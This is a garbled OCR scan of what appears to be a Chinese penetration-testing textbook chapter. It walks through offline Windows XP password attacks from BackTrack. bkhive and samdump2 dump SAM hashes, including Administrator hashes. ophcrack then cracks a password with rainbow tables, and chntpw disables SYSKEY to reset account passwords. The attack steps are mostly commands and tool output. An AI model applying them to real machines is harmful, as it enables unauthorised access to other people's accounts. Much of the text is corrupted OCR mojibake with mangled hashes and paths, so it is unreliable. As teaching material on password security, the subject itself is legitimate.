bkhive 1.1.1 by Objectif Securite

http://www.objectif-securite.ch

original author: ncuomo@studenti.unina.it

Root Key : $$$PROTO.HIV

Default ControlSet: @01

Bootkey: 9fcbfa35de®b5884eel73a57b6fT{790

root@bt: /media/G684BF3184BFO31B/WINDOWS/system32/config# 1s woo-key

rnut@bi:fmediafﬁﬁﬂdBFB1845F03151WINDOWSI5ystem32fcnnfig# |

& 4-6  bkhive 4 i keyfile

root@bt: /media/66 1F
samdump2 1.1.1 by Ub]ectlf Securlte
http://www.objectif-securite.ch

original author: ncuomo@studenti.unina.it

fig# samdump2 SAM woo-key

Root Key : SAM
Administrator:5080:aad3b435b51484eeaad3b435b51404ee:31d6cTe0d16ae931b73c59d7e0cO89¢CO: : :
Guest:501:aad3b435b51404ecaad3b435b51404ee:31d6cfe@d1l6ae931b73c59d7e0cO89cO: : :
HelpAssistant:1800:c8501419d60b3c91c36T4afe71576068:352f0d4bb6622e64T4ad48cdec249bbed:
SUPPORT_ 3889456@ 1@@2'aad3b435b514@4eeaad3b435b514@4ee 2951893853469f1bb32815bc5bfeﬁ?94
ruut@bt media/ 66 }1B/WINDOWS /system32/config#

& 4-7  samdump?2 $&BCE S 7

42 THHRRBRHNOZHLBSE

AT o i 52 4] g A T opherack R M 2R i LM W Ay, Q18 4-8 B R SO
password. txt S B0 i 1 05 A ST .

I password — 1234

T E fEE BR0) EF W FEHO
Administrator:580:DEAF1CY351862C16F5695F445A1FBABB-F7227D6C1FC39538A39F93120A

& 4-8  BERE 1Y M A SO password. txt

YR 1 AR R AL XP ] g tables H S, R U 3R SO 4B DL BT dn &l 4-9
FE7s o

U 2. A B AIHL XP 8 opherack, %% 58 B, Ui 51 b B AR S Bh
ophcrack, i1 & 4-10 ffi/w.

R 3. KBRITLR,

Bl Tables ##4f . 7E Table Selection Ht1f] , P&t XP free fast, 4Rk )5 815 Install #5244 ,

P BT R FTAE H 3%, WA 4-11 iR . ZEse 5 nial 4-12 s .
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e WAL HHR A s

THE HEE TEW YwWe IAD FWO
QFRE- L ¥ L=z - xx [
B — = ¢

C:\password crackingtables

AT RS

09 GER TR R
%] w%bﬁ’l‘l’e‘:f#?%ﬁ?ﬁﬂ
e

a2 HEHIE

Kl 4-9  #5 DLRam R seft

[Copherack |
©L ¥ v ® @ @

Telete Save Tables Crack Help Exit
Progress | Statisties " Preferences |
User i IM Hash HT Hash N Fwd 1 M Pwd 2 HT P
Table Directory Status Frogress

K 4-10 J& 3} ophcrack

- Selection

Table Directory Status
IP free fast not installe
XP free =mall o
X special EER e PIX}
P german vl et
TF s v
it ppanial
@ Vista free
@ Vizta nine

@ Vista eight @ i F

- i () A 3
= EAER
BdhsswE () =
= e FHIEEE (1)
# [ ) Documents and Settings

Selact the directory which contains the tables.

Ce6EeS

) )

= |) password cracking

=) tables
= |.-j tables_xp_free fast
o] 1 1 @
FRERICIERE () WRE HiiH
¢ ]
@ = enabled & = dizabled @ = not installed

[2][=][e][2] [oma][ = ]

K 4-11 AR R
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e % 4% BB E R e
Table Selection
Table Directory Status
[ @fP free fast iC:fpassword cracking/tables/tab--- on dizk
@ IF free small not installed
@ fF special not imstalled
@ IF german vl not installed
@ IF german v2 not inztalled
@ Vista special not installed
@ Vista free not installed
@ Vists nine not installed
@ Vista eight not installed
@ Yista num not installed
@ Vista seven not imstalled

S 2z

Bl 4-12  2edesete

R A RS AE ST il Load #2241, £ PWDUMP file, 1[4 4-13 Fi7s.

& H password. txt X4,

- b . e
L3 & L 7 ¢ $
Tioed Delete Save Tables Crack Help Exit
- — _
| P;;‘G‘l’n; fai tics | Preferences |
ile
| iSaEsion file IM Hash T Hash N Pwd L
Encrypted SAM
Local SAM
Remote SAM
Table Directory Status
[# @ XF fresws C./password oo on disk

P 4-13 R Ay 05 SCAF

A S TR0 .

ity Crack #2480, JF AR MR . e 2% WL b A8 it %% % Chenou2002, WK 4-14 7R

Y th ) e,
L kL7 e i Y
Load Delete Save Tables Crack Help Exit
Progress | Statisties | Preferences
User LM Hash WT Hash L Ped 1 N Pvd 2 HT Bwd
DEAFIC3510++ FT22TDECLFC33++ CHEHOUZ o0z CHenouzl02
Table Directery Status Progress
5 @ XP freer Ci/password e 24% in RAM = E——
Freload: | dome Brute force: | dizabled | Pwd found: | 141 | Time elapse

Bl 4-14  JFAGEAE
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M & S5 By B

4.3 BEESTHRZEMNBRE

PSR HAR RS B TR AR S 0 5 % A8 0T DL E BT B B AR LAY K P, AR
S R BTS OG# R 3 H s 0L, R 5 HiEiE R H ﬁ*}LE’JﬂKF&ﬁ%E@ﬁ/ﬁuiﬁ
BE. R XP &4 H AR EHL. A BTS 49 1SO SR BTS Sk,

YR 1. BB BN XP AR I BTS 1SO Fifg St

0% 2. 7E BT5 thi: 4k Windows & %5,

YR 3. dh i bR A S T A chntpw, WAL 4-15 iR,

root@bt:/pentest/passwords/chntpw# ./chntpw /mnt/xp/WINDOWS/system32/config/SAM /mnt/xp/WINDOWS/s
ystem32/config/system |

K 4-15 4447 chntpw 4«

AR 4 SR IR R R AR, I 4-16~ [&] 4-18 JTR .

% root@bt: /[pentest/passwords/chntpw

————————————————————— > SYSKEY CHECK <-=====v=rerevrerrreeeres

SYSTEM  SecureBoot ;0 - off

SAM Account\F i 1 -> key-in-registry

SECURITY PolSecretEncryptionKey: -1 -> Not Set (0K if this is NT4)

WARNING: Mismatch in syskey settings in SAM and SYSTEM!

WARNING: It may be dangerous to continue (however, resetting syskey
may very well fix the problem)

FEEREREERREEIIEE SYSKEY IS ENABLED! **¥¥#sisiiiiix

This installation very likely has the syskey passwordhash-obfuscator installed
It's currently in mode = 8, off-mode

SYSKEY is on! However, DO NOT DISABLE IT UNLESS YOU HAVE TO!

This program can change passwords even if syskey is on, however

if you have lost the key-floppy or passphrase you can turn it off,

but please read the docs first!!!

** TF YOU DON'T KNOW WHAT SYSKEY IS YOU DO NOT NEED TO SWITCH IT OFF!=*=*
NOTE: On WINDOWS 20608 and XP it will not be possible
to turn it on again! (and other problems may also show..)

NOTE: Disabling syskey will invalidate ALL

passwords, requiring them to be reset. You should at least reset the
administrator password using this program, then the rest ought to be
done from NT.

EXTREME WARNING: Do not try this on Vista or Win 7, it will go into endless re-boots

Po you really wish to disable SYSKEY? (y/n) [n] y I

K 4-16  FA“y”

A PR 5. B chntpw J& , fE @4 B T H i A “halt”iB H R SG0, WK 4-19 PR
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